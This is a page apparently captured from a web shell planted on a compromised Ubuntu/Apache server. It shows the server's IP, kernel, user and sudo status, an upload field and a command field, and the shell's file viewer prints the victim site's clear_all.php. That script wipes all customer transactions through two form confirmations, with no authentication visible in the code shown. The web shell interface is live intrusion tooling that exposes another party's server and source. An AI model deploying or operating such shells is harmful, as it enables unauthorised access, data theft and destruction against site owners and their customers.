403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/thelittlebigshow/self-hosted/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/thelittlebigshow/self-hosted/clear_all.php
<?php
include 'db.php';

$confirm = $_POST['confirm'] ?? '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // First confirmation
    if ($confirm === 'start') {
        ?>
        <h2>?? Confirm: Clear ALL Customer Accounts</h2>
        <p>This will begin the process of clearing <strong>all</strong> customer transaction records.</p>
        <form method="post" action="clear_all.php">
            <input type="hidden" name="confirm" value="final">
            <input type="submit" value="? Yes, Continue">
            <a href="index.php">Cancel</a>
        </form>
        <?php
        exit;
    }

    // Final confirmation
    if ($confirm === 'final') {
        ?>
        <h2>?? Final Warning</h2>
        <p>This will <strong>permanently delete all transactions</strong> for <u>every customer</u>. Are you absolutely sure?</p>
        <form method="post" action="clear_all.php">
            <input type="hidden" name="confirm" value="yes">
            <input type="submit" value="?? Yes, DELETE ALL">
            <a href="index.php">Cancel</a>
        </form>
        <?php
        exit;
    }

    // Perform delete
    if ($confirm === 'yes') {
        $conn->query("DELETE FROM transactions");
        echo "<h3>? All customer tabs have been cleared.</h3>";
        echo "<p><a href='index.php'>Back to Dashboard</a></p>";
        exit;
    }
}

echo "Invalid request.";

Youez - 2016 - github.com/yon3zu
LinuXploit